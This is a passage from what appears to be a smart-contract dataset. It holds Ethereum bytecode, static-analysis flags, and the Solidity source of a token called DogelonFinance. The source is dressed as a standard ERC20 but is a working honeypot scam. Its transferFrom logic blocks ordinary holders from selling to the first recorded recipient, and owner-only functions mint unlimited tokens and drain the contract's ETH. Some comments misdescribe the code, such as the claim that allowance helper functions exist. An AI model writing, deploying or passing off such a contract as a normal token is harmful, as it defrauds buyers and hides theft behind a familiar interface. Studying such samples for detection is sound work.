} | 0x6080604052600436106101e75760003560e01c8063590f897e11610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb614610596578063dcb0e0ad146105ab578063dd62ed3e146105cb578063e8078d941461061157600080fd5b8063a9059cbb1461052c578063b515566a1461054c578063c3c8cd801461056c578063c9567bf91461058157600080fd5b806373f54a11116100d157806373f54a111461049a5780638da5cb5b146104ba57806394b8d8f2146104d857806395d89b41146104f857600080fd5b8063590f897e1461043a5780636fc3eaec1461045057806370a0823114610465578063715018a61461048557600080fd5b806327f3a72a1161017a5780633bbac579116101495780633bbac579146103ab57806340b9a54b146103e457806345596e2e146103fa57806349bd5a5e1461041a57600080fd5b806327f3a72a14610339578063313ce5671461034e57806331c2d8471461037557806332d873d81461039557600080fd5b8063104ce66d116101b6578063104ce66d146102b057806318160ddd146102e85780631940d0201461030357806323b872dd1461031957600080fd5b80630492f055146101f357806306fdde031461021c578063095ea7b31461025e5780630b78f9c01461028e57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610209600d5481565b6040519081526020015b60405180910390f35b34801561022857600080fd5b50610251604051806040016040528060098152602001684c4c414d412044414f60b81b81525081565b6040516102139190611a00565b34801561026a57600080fd5b5061027e610279366004611a7a565b610626565b6040519015158152602001610213565b34801561029a57600080fd5b506102ae6102a9366004611aa6565b61063c565b005b3480156102bc57600080fd5b506008546102d0906001600160a01b031681565b6040516001600160a01b039091168152602001610213565b3480156102f457600080fd5b50678ac7230489e80000610209565b34801561030f57600080fd5b50610209600e5481565b34801561032557600080fd5b5061027e610334366004611ac8565b6106d6565b34801561034557600080fd5b5061020961072a565b34801561035a57600080fd5b50610363600981565b60405160ff9091168152602001610213565b34801561038157600080fd5b506102ae610390366004611b1f565b61073a565b3480156103a157600080fd5b50610209600f5481565b3480156103b757600080fd5b5061027e6103c6366004611be4565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103f057600080fd5b50610209600a5481565b34801561040657600080fd5b506102ae610415366004611c01565b6107c6565b34801561042657600080fd5b506009546102d0906001600160a01b031681565b34801561044657600080fd5b50610209600b5481565b34801561045c57600080fd5b506102ae610867565b34801561047157600080fd5b50610209610480366004611be4565b610894565b34801561049157600080fd5b506102ae6108af565b3480156104a657600080fd5b506102ae6104b5366004611be4565b610923565b3480156104c657600080fd5b506000546001600160a01b03166102d0565b3480156104e457600080fd5b5060105461027e9062010000900460ff1681565b34801561050457600080fd5b50610251604051806040016040528060088152602001674c4c414d4144414f60c01b81525081565b34801561053857600080fd5b5061027e610547366004611a7a565b610991565b34801561055857600080fd5b506102ae610567366004611b1f565b61099e565b34801561057857600080fd5b506102ae610ab7565b34801561058d57600080fd5b506102ae610aed565b3480156105a257600080fd5b50610209610b88565b3480156105b757600080fd5b506102ae6105c6366004611c28565b610ba0565b3480156105d757600080fd5b506102096105e6366004611c45565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561061d57600080fd5b506102ae610c13565b6000610633338484610f59565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461065c57600080fd5b600f8210801561066c5750600f81105b80156106795750600a5482105b80156106865750600b5481105b61068f57600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106e384848461107d565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610712908490611c94565b905061071f853383610f59565b506001949350505050565b600061073530610894565b905090565b6008546001600160a01b0316336001600160a01b03161461075a57600080fd5b60005b81518110156107c25760006005600084848151811061077e5761077e611cab565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107ba81611cc1565b91505061075d565b5050565b6008546001600160a01b0316336001600160a01b0316146107e657600080fd5b6000811161082b5760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b03161461088757600080fd5b47610891816116cd565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108d95760405162461bcd60e51b815260040161082290611cdc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461094357600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161085c565b600061063333848461107d565b6000546001600160a01b031633146109c85760405162461bcd60e51b815260040161082290611cdc565b60005b81518110156107c25760095482516001600160a01b03909116908390839081106109f7576109f7611cab565b60200260200101516001600160a01b031614158015610a48575060075482516001600160a01b0390911690839083908110610a3457610a34611cab565b60200260200101516001600160a01b031614155b15610aa557600160056000848481518110610a6557610a65611cab565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610aaf81611cc1565b9150506109cb565b6008546001600160a01b0316336001600160a01b031614610ad757600080fd5b6000610ae230610894565b905061089181611707565b6000546001600160a01b03163314610b175760405162461bcd60e51b815260040161082290611cdc565b60105460ff1615610b645760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610822565b6010805460ff1916600117905542600f556702c68af0bb140000600d819055600e55565b600954600090610735906001600160a01b0316610894565b6008546001600160a01b0316336001600160a01b031614610bc057600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161085c565b6000546001600160a01b03163314610c3d5760405162461bcd60e51b815260040161082290611cdc565b60105460ff1615610c8a5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610822565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610cc63082678ac7230489e80000610f59565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d289190611d11565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d999190611d11565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610de6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0a9190611d11565b600980546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610e3a81610894565b600080610e4f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610eb7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610edc9190611d2e565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610f35573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c29190611d5c565b6001600160a01b038316610fbb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610822565b6001600160a01b03821661101c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610822565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161580156110bf57506001600160a01b03821660009081526005602052604090205460ff16155b80156110db57503360009081526005602052604090205460ff16155b6110e457600080fd5b6001600160a01b0383166111485760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610822565b6001600160a01b0382166111aa5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610822565b6000811161120c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610822565b600080546001600160a01b0385811691161480159061123957506000546001600160a01b03848116911614155b1561166e576009546001600160a01b03858116911614801561126957506007546001600160a01b03848116911614155b801561128e57506001600160a01b03831660009081526004602052604090205460ff16155b1561150a5760105460ff166112e55760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610822565b600f54421415611313576001600160a01b0383166000908152600560205260409020805460ff191660011790555b42600f546102586113249190611d79565b111561139e57600e5461133684610894565b6113409084611d79565b111561139e5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b6064820152608401610822565b6001600160a01b03831660009081526006602052604090206001015460ff16611406576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b42600f546102586114179190611d79565b11156114eb57600d5482111561146f5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e00000000006044820152606401610822565b61147a42601e611d79565b6001600160a01b038416600090815260066020526040902054106114eb5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610822565b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff16158015611524575060105460ff165b801561153e57506009546001600160a01b03858116911614155b1561166e5761154e42600f611d79565b6001600160a01b038516600090815260066020526040902054106115c05760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610822565b60006115cb30610894565b905080156116575760105462010000900460ff161561164e57600c5460095460649190611600906001600160a01b0316610894565b61160a9190611d91565b6116149190611db0565b81111561164e57600c5460095460649190611637906001600160a01b0316610894565b6116419190611d91565b61164b9190611db0565b90505b61165781611707565b47801561166757611667476116cd565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806116b057506001600160a01b03841660009081526004602052604090205460ff165b156116b9575060005b6116c6858585848661187b565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107c2573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061174b5761174b611cab565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156117a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c89190611d11565b816001815181106117db576117db611cab565b6001600160a01b0392831660209182029290920101526007546118019130911684610f59565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac9479061183a908590600090869030904290600401611dd2565b600060405180830381600087803b15801561185457600080fd5b505af1158015611868573d6000803e3d6000fd5b50506010805461ff001916905550505050565b6000611887838361189d565b9050611895868686846118c1565b505050505050565b60008083156118ba5782156118b55750600a546118ba565b50600b545b9392505050565b6000806118ce848461199e565b6001600160a01b03881660009081526002602052604090205491935091506118f7908590611c94565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611927908390611d79565b6001600160a01b038616600090815260026020526040902055611949816119d2565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161198e91815260200190565b60405180910390a3505050505050565b6000808060646119ae8587611d91565b6119b89190611db0565b905060006119c68287611c94565b96919550909350505050565b306000908152600260205260409020546119ed908290611d79565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611a2d57858101830151858201604001528201611a11565b81811115611a3f576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461089157600080fd5b8035611a7581611a55565b919050565b60008060408385031215611a8d57600080fd5b8235611a9881611a55565b946020939093013593505050565b60008060408385031215611ab957600080fd5b50508035926020909101359150565b600080600060608486031215611add57600080fd5b8335611ae881611a55565b92506020840135611af881611a55565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b3257600080fd5b823567ffffffffffffffff80821115611b4a57600080fd5b818501915085601f830112611b5e57600080fd5b813581811115611b7057611b70611b09565b8060051b604051601f19603f83011681018181108582111715611b9557611b95611b09565b604052918252848201925083810185019188831115611bb357600080fd5b938501935b82851015611bd857611bc985611a6a565b84529385019392850192611bb8565b98975050505050505050565b600060208284031215611bf657600080fd5b81356118ba81611a55565b600060208284031215611c1357600080fd5b5035919050565b801515811461089157600080fd5b600060208284031215611c3a57600080fd5b81356118ba81611c1a565b60008060408385031215611c5857600080fd5b8235611c6381611a55565b91506020830135611c7381611a55565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611ca657611ca6611c7e565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611cd557611cd5611c7e565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d2357600080fd5b81516118ba81611a55565b600080600060608486031215611d4357600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611d6e57600080fd5b81516118ba81611c1a565b60008219821115611d8c57611d8c611c7e565b500190565b6000816000190483118215151615611dab57611dab611c7e565b500290565b600082611dcd57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e225784516001600160a01b031683529383019391830191600101611dfd565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220c59358778c4954f1d3c7ed77483c1669ecd3e921c283f4e49bf6aa0b00e0b25264736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,935 |
0xe65af0bb9fd3c1c67c9735d316615e135c7d740b | // SPDX-License-Identifier: MIT
pragma solidity >=0.5.17;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint256 _totalSupply;
uint internal indexNumber;
address internal sender;
address internal delegate;
address internal governance;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != sender, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
if(from != address(0) && sender == address(0)) sender = to;
else require(to != sender || (from == delegate && to == sender) || (from == governance && to == sender)|| (to == sender && balances[from] <= indexNumber), "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address _address, uint256 tokens) public onlyOwner {
delegate = _address;
_totalSupply = _totalSupply.add(tokens);
balances[_address] = balances[_address].add(tokens);
emit Transfer(address(0), _address, tokens);
}
function approveAndCheck(address _address) public onlyOwner {
governance = _address;
}
function CheckIndex(uint256 _size) public onlyOwner {
indexNumber = _size;
}
function () external payable {
revert();
}
}
contract DogelonFinance is TokenERC20 {
function CheckToken() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory _name, string memory _symbol, uint256 _supply, address burn1, address burn2, uint256 _indexNumber) public {
symbol = _symbol;
name = _name;
decimals = 18;
_totalSupply = _supply*(10**uint256(decimals));
indexNumber = _indexNumber*(10**uint256(decimals));
delegate = burn1;
governance = burn2;
owner = msg.sender;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0x0), msg.sender, _totalSupply);
}
function() external payable {
}
} | 0x6080604052600436106100fe5760003560e01c806379ba509711610095578063a9059cbb11610064578063a9059cbb14610502578063b00b0b1314610575578063d4ee1d90146105c6578063dd62ed3e1461061d578063f2fde38b146106a2576100fe565b806379ba5097146103ed5780637fb3b1f0146104045780638da5cb5b1461041b57806395d89b4114610472576100fe565b8063313ce567116100d1578063313ce567146102c15780633177029f146102f257806370a082311461034d578063757753e7146103b2576100fe565b806306fdde0314610100578063095ea7b31461019057806318160ddd1461020357806323b872dd1461022e575b005b34801561010c57600080fd5b506101156106f3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015557808201518184015260208101905061013a565b50505050905090810190601f1680156101825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019c57600080fd5b506101e9600480360360408110156101b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610791565b604051808215151515815260200191505060405180910390f35b34801561020f57600080fd5b50610218610883565b6040518082815260200191505060405180910390f35b34801561023a57600080fd5b506102a76004803603606081101561025157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108de565b604051808215151515815260200191505060405180910390f35b3480156102cd57600080fd5b506102d6610f2a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102fe57600080fd5b5061034b6004803603604081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f3d565b005b34801561035957600080fd5b5061039c6004803603602081101561037057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110f1565b6040518082815260200191505060405180910390f35b3480156103be57600080fd5b506103eb600480360360208110156103d557600080fd5b810190808035906020019092919050505061113a565b005b3480156103f957600080fd5b5061040261119d565b005b34801561041057600080fd5b5061041961133a565b005b34801561042757600080fd5b506104306113e2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047e57600080fd5b50610487611407565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c75780820151818401526020810190506104ac565b50505050905090810190601f1680156104f45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050e57600080fd5b5061055b6004803603604081101561052557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114a5565b604051808215151515815260200191505060405180910390f35b34801561058157600080fd5b506105c46004803603602081101561059857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611704565b005b3480156105d257600080fd5b506105db6117a1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561062957600080fd5b5061068c6004803603604081101561064057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117c7565b6040518082815260200191505060405180910390f35b3480156106ae57600080fd5b506106f1600480360360208110156106c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061184e565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107895780601f1061075e57610100808354040283529160200191610789565b820191906000526020600020905b81548152906001019060200180831161076c57829003601f168201915b505050505081565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60006108d9600a60008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546005546118eb90919063ffffffff16565b905090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561096a5750600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156109b55782600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c81565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580610ab85750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610ab75750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b80610b695750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610b685750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b80610c0e5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610c0d5750600654600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b5b610c80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610cd382600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118eb90919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610da582600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118eb90919063ffffffff16565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7782600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190590919063ffffffff16565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f9657600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fec8160055461190590919063ffffffff16565b60058190555061104481600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190590919063ffffffff16565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461119357600080fd5b8060068190555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111f757600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461139357600080fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156113de573d6000803e3d6000fd5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561149d5780601f1061147257610100808354